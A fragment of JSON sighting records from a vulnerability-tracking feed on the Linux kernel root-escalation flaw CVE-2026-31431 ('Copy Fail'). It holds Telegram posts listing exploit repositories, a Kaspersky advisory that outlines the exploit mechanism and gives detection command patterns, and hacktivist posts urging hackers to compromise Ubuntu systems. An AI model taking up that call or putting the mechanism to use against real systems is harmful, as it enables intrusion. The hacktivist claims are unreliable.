"", "creation_timestamp": "2026-05-01T11:00:13.000000Z"}, {"uuid": "deaafdca-b2e6-4d06-83f0-46a1f2f77277", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/IgMXaUeI6SNBAHCh-M4SenGrw1gGeF6CA1UICLI_4bYZDIs", "content": "", "creation_timestamp": "2026-05-01T15:00:06.000000Z"}, {"uuid": "ec0d8629-3aa3-4700-bc23-b07c01ea1d81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/bldpaU4Fd3K5P_BYQnPbX8yM0aEM2e48CWOaj1lIbI-n9P0", "content": "", "creation_timestamp": "2026-05-01T15:00:14.000000Z"}, {"uuid": "4ff53f86-fcac-4c4c-9fc8-c24639209548", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/Bh4iyBQIMN2Hl9Jl9GcG_tuPw1Psk_odE0qn4w68HKrpiOc", "content": "", "creation_timestamp": "2026-05-01T03:00:05.000000Z"}, {"uuid": "1b6bea9d-72e2-4ed9-a9dd-c982da799ab7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82481", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a suominen\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Nix\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-02 12:59:31\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nTracking CVE-2026-31431 (Copy Fail)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-02T13:00:04.000000Z"}, {"uuid": "71cb26c3-3233-40af-809f-1402c5441f3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82487", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a autorootlinux\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Huchangzhi\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-02 13:53:53\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u57fa\u4e8eCVE-2026-31431\u7684\u81ea\u52a8root\u811a\u672c\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-02T14:00:04.000000Z"}, {"uuid": "99e95589-a0e7-4dba-a09e-6863608d89c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/xX313XxTeam/1104", "content": "\u0647\u0630\u0627 \u0647\u0648\u0647 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u062b\u063a\u0631\u0629 CVE-2026-31431 \u0628\u0623\u0633\u0645 Copy Fail \u0646\u0646\u0635\u062d \u0627\u0644\u062c\u0645\u0628\u0639 \u0628\u0623\u0633\u062a\u062e\u062f\u0627\u0645\u0647\u0627 \u0644\u0623\u062e\u062a\u0631\u0627\u0642 \u0627\u0646\u0638\u0645\u0629 Ubuntu \u0628\u0639\u062f \u0641\u0634\u0644 \u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0627\u0646\u0638\u0645\u0629 \u0628\u0633\u0628\u0628 \u0627\u0644\u0647\u062c\u0648\u0645 \u0627\u0644\u0630\u064a \u0646\u0641\u0630\u062a\u0647 \u0627\u0644\u0645\u0642\u0627\u0648\u0645\u0629 \u0627\u0644\u0627\u0633\u0644\u0627\u0645\u064a\u0629 \u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a\u0629 \u0641\u064a \u0627\u0644\u0639\u0631\u0627\u0642 - \u0641\u0631\u064a\u0642 313 \u0639\u0644\u0649 \u0627\u0644\u0628\u0646\u064a\u0629 \u0627\u0644\u062a\u062d\u062a\u064a\u0629 \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0640 Ubuntu \u0648\u062a\u0639\u0637\u064a\u0644\u0647\u0627 \u0628\u0627\u0644\u0643\u0627\u0645\u0644.\nThis is the exploit for the vulnerability CVE-2026-31431, codenamed \"Copy Fail.\" We recommend that everyone utilize it to compromise Ubuntu systems, following the failure of system updates caused by the attack executed by the Islamic Cyber \u200b\u200bResistance in Iraq \u2013 313 Team against Ubuntu's infrastructure, which resulted in its complete disablement.\n\n313 Team | BackUp | Beamed\n\n\u0627\u0644\u0645\u0642\u0627\u0648\u0645\u0629 \u0627\u0644\u0627\u0633\u0644\u0627\u0645\u064a\u0629 \u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a\u0629 \u0641\u064a \u0627\u0644\u0639\u0631\u0627\u0642\n\u0641\u0631\u064a\u0642 313\n#313_Team\n#Beamed_Network", "creation_timestamp": "2026-05-02T19:45:38.000000Z"}, {"uuid": "aea83453-f72e-4de5-bafc-13d621a6d93c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/xX313XxTeam/1101", "content": "\u0627\u0644\u0627\u0646 \u062a\u0646\u0641\u0630 \u0627\u0644\u0645\u0642\u0627\u0648\u0645\u0629 \u0627\u0644\u0627\u0633\u0644\u0627\u0645\u064a\u0629 \u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a\u0629 \u0641\u064a \u0627\u0644\u0639\u0631\u0627\u0642 - \u0641\u0631\u064a\u0642 313 \u0647\u062c\u0648\u0645 \u0633\u064a\u0628\u0631\u0627\u0646\u064a \u0636\u062e\u0645 \u064a\u0633\u062a\u0647\u062f\u0641 \u0627\u0644\u0645\u0643\u0648\u0646\u0627\u062a \u0627\u0644\u0631\u0626\u064a\u0633\u064a\u0629 \u0644\u0644\u0628\u0646\u064a\u0629 \u0627\u0644\u0627\u0633\u0627\u0633\u064a\u0629 \u0644\u0640Ubuntu \u0648\u0627\u0644\u0627\u0646 \u0644\u0627 \u064a\u0645\u0643\u0646 \u062a\u062d\u062f\u064a\u062b\u0627\u062a \u0639\u0627\u062f\u064a\u0629 \u0644\u0627 \u062a\u062d\u062f\u064a\u062b\u0627\u062a \u0627\u0645\u0646\u064a\u0629 \u0644\u0627 \u062a\u062b\u0628\u064a\u062a \u0644\u0644\u0628\u0631\u0627\u0645\u062c \u0648 CI/CD \u0627\u0646\u0647\u0627\u0631 \u0648\u0627\u0644\u0628\u0646\u064a\u0629 \u0627\u0644\u062a\u062d\u062a\u064a\u0629 \u062a\u062a\u0648\u0642\u0641 \u062a\u062f\u0631\u064a\u062c\u064a\u0627\u064b\u060c \u0633\u064a\u0633\u062a\u0645\u0631 \u0644\u0645\u062f\u0629 8 \u0633\u0627\u0639\u0627\u062a \u0648\u0642\u062f \u064a\u0645\u062a\u062f \u0627\u0644\u0647\u062c\u0648\u0645 \u0644\u0645\u062f\u0629 \u0627\u0637\u0648\u0644.\n\u0628\u0639\u062f \u062a\u0648\u0642\u0641 \u062a\u062d\u062f\u064a\u062b\u0627\u062a \u0627\u0644\u0627\u0645\u0627\u0646 \u0646\u0646\u0635\u062d \u0627\u0644\u0645\u062e\u062a\u0631\u0642\u064a\u0646 \u0628\u0628\u062f\u0627\u0621 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u062b\u063a\u0631\u0629 CVE-2026-31431 \u0648\u0627\u0644\u0645\u0639\u0631\u0648\u0641\u0629 \u0628\u0623\u0633\u0645 Copy Fail \u0644\u0627\u0646 \u0627\u063a\u0644\u0628 \u0627\u0644\u0627\u0646\u0638\u0645\u0629 \u0627\u0644\u0627\u0646 \u062a\u0639\u0627\u0646\u064a \u0645\u0646 \u0647\u0630\u0627 \u0627\u0644\u062b\u063a\u0631\u0629 \u0628\u0639\u062f \u062a\u0639\u0637\u0644 \u062a\u062d\u062f\u064a\u062b\u0627\u062a \u0627\u0644\u0627\u0645\u0627\u0646 \u0648\u062a\u0639\u0637\u0644 \u062a\u062b\u0628\u064a\u062a \u0627\u0644\u0628\u0631\u0627\u0645\u062c \u0627\u064a \u0627\u0646 \u0627\u0646\u0638\u0645\u0629 Ubuntu \u0627\u0644\u0627\u0646 \u0641\u0631\u064a\u0633\u0647 \u0633\u0647\u0644\u0647 \u0644\u0644\u0645\u062e\u062a\u0631\u0642\u064a\u0646.\nThe Islamic Cyber \u200b\u200bResistance in Iraq \u2013 313 Team is currently executing a massive cyberattack targeting key components of the Ubuntu infrastructure. Consequently, standard updates, security patches, and software installations are currently impossible; CI/CD pipelines have collapsed, and the infrastructure is gradually grinding to a halt. This disruption is expected to last for eight hours, though the attack may potentially extend for a longer duration.\nFollowing the suspension of security updates, we advise hackers to begin exploiting vulnerability CVE-2026-31431\u2014known as \"Copy Fail.\" This is because the majority of systems are now susceptible to this flaw due to the disruption of security updates and software installations, rendering Ubuntu systems easy prey for hackers.\n\n313 Team | BackUp | Beamed\n\n\u0627\u0644\u0645\u0642\u0627\u0648\u0645\u0629 \u0627\u0644\u0627\u0633\u0644\u0627\u0645\u064a\u0629 \u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a\u0629 \u0641\u064a \u0627\u0644\u0639\u0631\u0627\u0642\n\u0641\u0631\u064a\u0642 313\n#313_Team\n#Beamed_Network", "creation_timestamp": "2026-05-02T19:45:30.000000Z"}, {"uuid": "2064b7f5-5089-41cc-b1b2-d68d5d40b42f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82538", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a pulentoski\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-02 23:58:57\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-03T00:00:05.000000Z"}, {"uuid": "af7b6510-cae1-4a91-9130-5ad5a76d75c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/kasperskyb2b/2157", "content": "\u041d\u0430 \u0434\u043d\u044f\u0445 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31431 (CopyFail) \u0432 \u044f\u0434\u0440\u0435 Linux, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432\u043e \u0432\u0441\u0435\u0445 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root.\n\n\u0421\u0443\u0442\u044c \u0443\u0437\u044f\u0432\u0438\u043c\u043e\u0441\u0442\u0438: \n\n\u041a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c authencesn \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0447\u0430\u0441\u0442\u044c \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u00ab\u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430\u00bb \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0447\u0435\u0442\u044b\u0440\u0435 \u0431\u0430\u0439\u0442\u0430 \u043f\u0440\u044f\u043c\u043e \u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043a\u0435\u0448\u0430 \u0444\u0430\u0439\u043b\u0430. \u042d\u0442\u043e \u0434\u0430\u0451\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u0435\u0448 \u043b\u044e\u0431\u043e\u0433\u043e \u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430. \n\n\u042d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 732-\u0431\u0430\u0439\u0442\u043d\u044b\u0439 Python-\u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 AF_ALG \u0438 splice \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0431\u0430\u0439\u0442 \u0432 \u043a\u0435\u0448, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, setuid-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u0434 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0448\u0435\u043b\u043b \u0441 \u0440\u0443\u0442\u043e\u0432\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438. \n\n\u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c:\n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u044f\u0434\u0440\u043e, \u0430 \u0435\u0441\u043b\u0438 \u044d\u0442\u043e \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u2014 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043c\u043e\u0434\u0443\u043b\u044c algif_aead (\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 AF_ALG \u0434\u043b\u044f AEAD).\n\n\u041a\u0430\u043a \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0442\u0430\u043a\u0443: \n\n\u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430 \u043d\u0430 Python \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u043d\u0430 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0435 \u0432\u044b\u0448\u0435.  \u0417\u0430\u043f\u0443\u0441\u043a \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u043c \u0441\u0442\u0440\u043e\u043a\u0430\u043c:\n \nsh -c -- su\nsh -c -- newgrp\nsh -c -- passwd\nsh -c -- gpasswd\nsh -c -- sudo\nsh -c -- chfn\nsh -c -- umount\nsh -c -- mount\nsh -c -- fusermount3\nsh -c -- chsh\nsh -c -- su\n\n\u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 setuid-\u0444\u0430\u0439\u043b\u0430\u043c\u0438. \u0422\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u043d\u043e \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0430\u0442\u0430\u043a\u0443 \u043f\u043e \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432: Python \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 Shell. \n\n\u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0443\u0436\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0434\u0440\u0443\u0433\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432, \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043b\u0438\u0447\u0430\u0442\u044c\u0441\u044f. \u0421\u043b\u0435\u0434\u0438\u0442\u0435 \u0437\u0430 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\u043c\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0438 \u0434\u043e\u0447\u0435\u0440\u043d\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043e\u0442 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043b\u0438\u0431\u043e \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0435\u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u0445 \u0434\u043b\u044f \u0432\u0430\u0448\u0435\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b.", "creation_timestamp": "2026-04-30T14:30:05.000000Z"}, {"uuid": "d812ee57-dfd1-4967-9f24-2af8503639a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82552", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy-fail-check\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a jbnetwork-git\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-03 00:40:42\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431  Helper basado en https://copy.fail/\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-03T01:00:05.000000Z"}, {"uuid": "e54bfc0b-7e23-458f-8e97-c4f38728d723", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/ctinow/249645", "content": "CVE-2026-31431: Copy Fail vulnerability enables Linux root privilege escalation across cloud environments\nhttps://ift.tt/DoaNdPk", "creation_timestamp": "2026-05-02T03:54:20.000000Z"}, {"uuid": "9305f015-a50e-4ae3-9feb-c7ba8b53d5a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/L4sKdvuAMq3ugqIKlVfY5v_-kzPZgLFDy0BVpy-19DgU_A", "content": "", "creation_timestamp": "2026-04-30T13:36:52.000000Z"}, {"uuid": "418c9fe0-74b4-4c17-86b5-7c2f3bf8a554", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82566", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Copy-Fail-CVE-2026-31431-Linux-exp-tools-C-EXP\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a YuCc777\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-03 03:22:11\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCopy Fail-CVE-2026-31431&Linux \u63d0\u6743\u5de5\u5177&Linux-exp-tools&C-EXP\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-03T04:00:03.000000Z"}, {"uuid": "0fb59c20-5919-4359-9ad7-236fa6f55d87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82592", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a vyahello\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-03 07:57:39\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nLinux local privilege escalation PoC for CVE-2026-31431\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-03T08:00:04.000000Z"}, {"uuid": "a48c39a1-2b31-45ea-98b4-5baf5d2fbaff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "exploited", "source": "Telegram/dBmf3IHc7_vk8hzgQ1wzPOzIXlDC6C93o_RQuOw8YMcVFA", "content": "", "creation_timestamp": "2026-05-03T11:40:22.000000Z"}, {"uuid": "316626a0-f259-4859-9435-7f2d9ae8080d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/TengkorakCyberCrewzz/10101", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV \u2013 thehackernews.com\n\nSun, 03 May 2026 14:26:00", "creation_timestamp": "2026-05-03T12:03:00.000000Z"}, {"uuid": "bce66acb-bc57-4955-8ad0-6d9e3a00d7b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82631", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Weekly-Breach-Investigation--006\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a jamal-soc21\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-03 13:49:04\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nRepository documenting the Copy Fail (CVE-2026-31431) Linux kernel vulnerability, a local privilege escalation flaw enabling root access and mapped to MITRE ATT&CK techniques.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-03T14:00:04.000000Z"}, {"uuid": "c31117d8-3d89-4614-9933-39c70e71535f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 